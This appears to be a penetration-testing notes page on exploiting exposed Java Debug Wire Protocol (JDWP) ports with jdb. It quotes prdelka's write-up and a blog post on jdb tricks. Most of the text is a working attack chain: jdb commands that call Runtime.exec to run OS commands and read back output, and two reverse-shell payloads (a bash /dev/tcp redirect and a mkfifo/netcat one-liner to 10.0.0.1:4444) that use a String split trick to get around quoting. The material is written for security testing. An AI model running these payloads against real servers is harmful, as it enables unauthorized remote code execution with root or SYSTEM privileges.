java debug 渗透测试

http://blog.silentsignal.eu/2014/02/09/jdb-tricks-hacking-java-debug-wire/

http://pki.fedoraproject.org/wiki/Debugging_Dogtag

http://wiki.jerrypeng.me/source-notes-jetty.html

JDWP Arbitrary Java Code Execution Exploitation===============================================Java Debugging Wire Protocol (JDWP) is the lowlevel protocol used forcommunication between a debugger and a Java Virtual Machine (JVM) as outlined inthe Java Platform Debugger Architecture. It is often used to facilitate remotedebugging of a JVM over TCP/IP and can be identified by the initial protocolhandshake ascii string "JDWP-Handshake", sent first by the client and respondedto by the server. "jdb" is a proof-of-concept JDWP capable debugger included inOracle JDK and OpenJDK which can be used to interact with remote JDWP capableservices. Typically this service runs on TCP port 8000 however it can be foundto run on arbitrary TCP ports and is sometimes found enabled inadvertantly onservers running Java services. It is possible to use this utility to exploit remote JVM's and execute arbitrary Java code. An example shown here outlineshow to leverage this weakness to execute arbitrary host OS commands in thecontext of the JVM.$ jdb -attach x.x.x.x:8000Set uncaught java.lang.ThrowableSet deferred uncaught java.lang.ThrowableInitializing jdb ...> Information leaks can be leveraged to determine details about the remote OSplatform and Java installation configuration through the "classpath" command.> classpathbase directory: C:\Windows\system32classpath: [ ** MASKED ** list of jar's loaded in remote JVM ]bootclasspath: [ ** MASKED ** list of JRE paths ]> jdb is capable of performing remote object creation and method invokation fromwithin the CLI using the "print" "dump" and "eval" commands with the "new"keyword. To determine the classes and methods available use the "classes" andthen "methods" on the corrosponding class. > classes...java.lang.Runtime...> methods java.lang.Runtime...java.lang.Runtime exec(java.lang.String[])...It is often necessary to set the JDB context to be within a suspended thread orbreakpoint before attempting to create a new remote object class. Using the"trace go methods" function can be used to identify a candidate for a breakpointand then "stop in your.random.class.method()" to halt the execution of a runningthread. When the execution is halted you can use "print new" to create yourclass and invoke methods such as in the following example.Breakpoint hit: "thread=threadname",your.random.class.method(), line=745 bci=0threadname[1] print new java.lang.Runtime().exec("cmd.exe /c dir")new java.lang.Runtime().exec("cmd.exe /c dir") = "java.lang.ProcessImpl@918502"threadname[1] cont> Exploitation success will be determined from the output of the JDB process asfunctions returning "null" or errors about "unsuspended thread state" wouldindicate that exploitation was unsuccessful, however in the example above we cansee that the java created a new object "java.lang.ProcessImpl@918502" indicatingthe "cmd.exe /c dir" was executed with success. On Linux this may need adjustingto "java.lang.Runtime.getRuntime().exec()" however see the method / classenumeration when attempting to exploit this flaw.Your java will be executed in the context of the running JVM application, thishas been identified on services running as both "root" (*nix) and "SYSTEM"(win32) in the wild.  -- prdelka

During a recent project we found a Java Debug Wire Protocol interface open at a server. I was a bit surprised when I was able to attach to it using JDB, the Java debugger – this was too easy. Or was it?
Prdelka has a pretty decent write-up on the exploitation over JDWP: you can basically instantiate any class from the classpath (and you can set the classpath yourself with the -D switch of jdb) and luckily you can also directly call the exec() method of the java.lang.Runtime class practically achieving remote code execution. It goes like this:
print new java.lang.Runtime().exec("ls") new java.lang.Runtime().exec("ls") = "java.lang.UNIXProcess@481adc30"
Well, that’s great, how about getting the output back or even an interactive shell maybe? That’s when things go painfully Java.
If you open the documentation of JDB you don’t see too much features to work with: a handful of commands, no scripting support and as it turns out the expression syntax  is also undocumented.
After a bit of experimenting you’ll find that although you can instantiate classes and call their methods, there is no easy way for storing the actual object instances which is pretty bad since Java requires a ton of boilerplate code for pretty much every basic operation. For example getting back one line of exec() output looks like this:
print new java.lang.String(new java.io.BufferedReader( \new java.io.InputStreamReader( \ new java.lang.Runtime().exec("id").getInputStream())).readLine()) new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("id").getInputStream())).readLine()) = "uid=1000(b) gid=1000(b) groups=1000(b)"
Still, I couldn’t figure a way to put this whole thing in a loop to read more lines. What about getting a reverse shell and getting rid of all the InputStream handling? Netcat was available on the target but without the -e option (aka GAPING_SECURITY_HOLE) enabled. There are of course a ton of other options to achieve the same result, but they all require either shell stream redirection or at least quoting. Since Runtime.exec() passess the commands directly to the OS, shell syntax doesn’t work immediately and also quotation marks are handled in a rather weird way by the JDB shell, so things like exec(“bash -c \”your > command\”") don’t work as expected. 
One possible solution to come over these limitations is to write out a shell script and then invoke it:
print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/S2.sh"),true).println("bash -i >& /dev/tcp/10.0.0.1/4444 0>&1")
Note that since you can’t close() the PrintWriter instance you have to enable automatic flush that actually requires a PrintWriter instance to be wrapped by an other one…
The more elegant solution is to use Runtime.exec(String[]) interface and let the API take care of quotation. The problem is that it seems you can’t simply declare an array in the jdb shell. Luckily though you can invoke the split() method on a freshly instantiated String object:
print new java.lang.Runtime().exec(new java.lang.String("bashS2-cS2mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f").split("S2"))
So we successfully got our interactive shell with the privileges of the application server. Also, by this time PZ got root in a totally different way on the same server, more about that in a later post :)
If you know other useful tricks for JDB, don’t hesitate to share it in the comments!